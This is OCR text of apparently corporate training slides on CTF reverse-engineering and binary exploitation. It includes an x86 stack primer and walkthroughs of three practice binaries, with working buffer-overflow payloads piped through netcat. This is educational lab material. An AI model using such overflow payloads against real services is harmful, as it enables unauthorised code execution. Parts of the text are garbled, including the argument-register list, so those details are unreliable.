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Why CTF NORTIHOE GRUPMAN

 Builds critical problem solving skills

* We use those skills everyday to solve challenging problems

— Field component development — multiple platforms
— Un-attributable communications

— Radio and wired communications

— Command and Control

— Mission Planning

— Operations knowledge and support

— Vulnerability Analysis



+ IDA
—  Free for 32 bit binarys
+ Ghidra
— Open source from NSA
— Includes decompilers
* Python
— IDA python
— Creating shellcode
*  Objdump
« GDB

* Hex Workshop

* Favorite Linux distro

» https://tools.kali.org/tools-listing



https://tools.kali.org/tools-listing
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Xx86-64 Assembly Primer

» $rsp — Points to the top of the stack. Stack grows towards lower
addresses. Stack is allocated by subtracting from $rsp.

« $rbp — Points to the base of the stack frame. Stores the previous base
pointer and can be used to “unroll” the stack. $rbp doesn’t change
within the stack frame so pointer arithmetic can be used with $rbp to
access local variables and function arguments.

ESP —> EBP - 16
reserved space

g EBP -4

EBP —» old EBP EBP

return address |EBP+4

a EBP + 8

b EBP + 12

Stack high address

stack frame of foo2
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x86-64 Assembly Primer Continued

$rdi contains argument 1

$rsi contains argument 2

$rcx contains argument 3

$rdx contains argument 4



RE Problems OO STRERAR

» Given a binary without the source code
« Find a flag (string of characters) hidden in the binary

* Approach
— Run file utility to figure out what the file is
— Run the binary
— Find interesting strings (strings utility)
— Examine binary (objdump)
— Trace back the code that leads to the desired output
— Focus on what input creates the desired output and ignore everything else

* Flag Format
— nctf{}



h4ck3rz NoRTIIOR GRutHAN.

« Simple warm up

 Start by running the file utility and then see if there are any interesting
strings
— file hdck3rz
— strings h4ck3rz
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matrlx

« Slightly harder, but still easy to find string
* Run strings utility (strings matrlx)
 Runthe binary (. /matrlx)

» Disassemble binary (objdump -d -M intel matrlx)

« Look for anything that could transformed into the flag

NORTHROP GRUMMAN
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kendrick NoRTIIOR GRutHAN.

 Run binary (. /kendrick)
* Find “hidden function” (cbjdump -d -M intel kendrick)
« Figure out where the characters are being outputted (puts)

* Apply “hidden function” to output and get the flag
— Extract desired bytes
— Use python to recreate the hidden function
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PWN Problems OO STRERAR

* Very similar to RE problems
« Binary usually runs on a server and accepts inputs

* Approach
— Use static analysis (IDA, Objdump...) to identify a vulnerability

* Vulnerabilities are found by looking at where the program takes input. Was the
data not sanitized, were unsafe functions used with no bounds on copy?

— Plan your exploit (shellcode on the stack, heap, rop chain?)
— Write an exploit to gain control of program execution
— Use GDB to dynamically debug shellcode

* Flag Format
— nctf{}
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overflowMe

Run the binary

Load the binary in IDA/Objdump

The binary has an interesting function called ‘win’
— How is this function triggered?

Can the variable that guards the call to ‘win’ be modified?

Find the function that accepts input
— How big is the buffer it copies to?
— Does it put a size restriction on the copy?

NORTHROP GRUMMAN
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overflowMe Solve

adad esp, 1uYn

mov [ebptsecret], O

sub esp, OCh

lea eax, [ebpts]

push eax ;5
call _gets

add esp, 10h

cHp [ebptsecret], O

jz short loc_8048612

call Wlh

* ‘win’ sounds like an interesting function
— We don'’t care what it does. Just guessing we need to execute it

 ‘secret’ also sounds like an interesting variable

» ‘secret’ is compared to 0. If ‘secret’ is zero, then the branch is taken. If
‘secret’ is non-zero, then ‘win’ is called. How do we make ‘secret’ non-
zero?
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overflowMe Solve

.text:080485F9 lea eax, [ebpts]

.text:080485FC ush eax -
&

» ‘gets’ is a dangerous function as it does unrestricted copies
« The stack variable ‘s’ is getting passed to ‘gets’

* The ‘secret’ variable is also on the stack. Can writing enough data into ‘s’
change the value of ‘secret’?

.text:080485CB s
.text:080485CB secret

byte ptr -48h
dword ptr -0Ch

IDA tells us the layout of the stack in relation to $ebp

» ‘secret’ is at a higher address than ‘s’ and therefore can be overwritten

‘s’ has 60 bytes allocated to it (0x48 — 0x0C). Writing 61 bytes to ‘s’ will
change the value of ‘secret’
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overflowMe Solve

e |f unable to reach CTF server, create server on local machine

— Put a flag.txt file in /home/overflowme
— Runnc -1 -p 1234 | ./overflowme

« Create the exploit string and pipe it to netcat
— python -c¢ ‘print “\xAA” * 61’ | nc <ip addr> <port>



slightlyHarder

« Very similar to last problem
* Run the binary

« Load it into IDA and see what you can find

18
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slightlyHarder Solve

e MY Twm s W I W W W Tt Tl P "-HF, T Wl

.text: 08048569 lea eax, [ebpts]
.text:0804856F ush eax : S

_get /NN

‘gets’ is used again with a stack variable as the argument

byte ptr -84%h
dword ptr -0Ch

.ftext 0804854 s
. text:0804854B secret

« This time the buffer passed to ‘gets’ is 120 bytes Iong (0x84 — Ox0C)

D R MAR s WYY W 1w Rl Yl Yl = [ 1 Wi

.text:0804857F jhz short loc_8048588
.text: 08048581 call bin

» ‘secret’ must be equal to 0x1337 for ‘win’ to be called. ‘secret’ is initialized
to 0 and never set after that. We have control over what ‘secret’ is after

overflowing ‘s’

19
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slightlyHarder Solve

If unable to reach CTF server, create server on local machine

— Put a flag.txt file in /nome/slightlyharder
— Runnc -1 -p 1234 | ./slightlyharder

Create exploit string and pipe it into netcat
— python -c ‘print “\xAA” * 120 + “\x37\x13”’ | nc <ip> <port>

120 bytes fill up the buffer ’s’. The next two bytes overwrite “secret”.

We are working with little endian so the LSB must come first
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cfiRedirect

* Another buffer overflow

» Goal is control over PC, not overwriting a stack variable

NORTHROP GRUMMAN

* Need to get control over $eip. At the end of the function, $ebp + 4 (the
return address) will be popped off the stack and put into $eip. Can we

change what $ebp + 4 is?

ESP —»

EBP —»

reserved space

g

old EBP

return address

da

b

Stack

stack frame of foo2

EBP - 16

EBP -4
EBP

EBP +4
EBP + 8

EBP + 12

high address
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cfiRedirect Solve

D Tl s WY W W W Rl ll Wl =l g 1 wis 111

* “main” does an unconditional call to “vuln”

5 byte ptr -44h

var_4 dword ptr -4
push ebp
mowv ebp, esp
push ebx
sub esp, 44h
call __X86_get_pc_thunk_ax
add eax, 1334h
sub esp, OCh
lea edx, [ebpts]
push edx -
mov ebx, eax
call _gets

« Once again “gets” is used, but “win” is never called. We can fix that by
writing 68 bytes (0x44) to fill the stack frame, another 4 bytes to overwrite
$ebp, and another 4 to overwrite the return address.
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cfiRedirect Solve

e |f unable to reach CTF server, create server on local machine

— Put a flag.txt file in /home/cfiredirect
— Runnc -1 -p 1234 | ./cfiredirect

» Address of win is 0x8048549. This is what we need to set $ebp + 4 to.
Remember little endian.

» Create exploit string and pipe it into netcat
— python —-c ‘print “\xAA” * 72 + “\x49\x85\x04\x08""
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Questions?

NORTHROP GRUMMAN
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References

» https://software.intel.com/sites/default/files/article/402129/mpx-linux64-
abi.pdf

* https://www.hex-rays.com/products/ida/support/idapython docs/



https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf
https://www.hex-rays.com/products/ida/support/idapython_docs/
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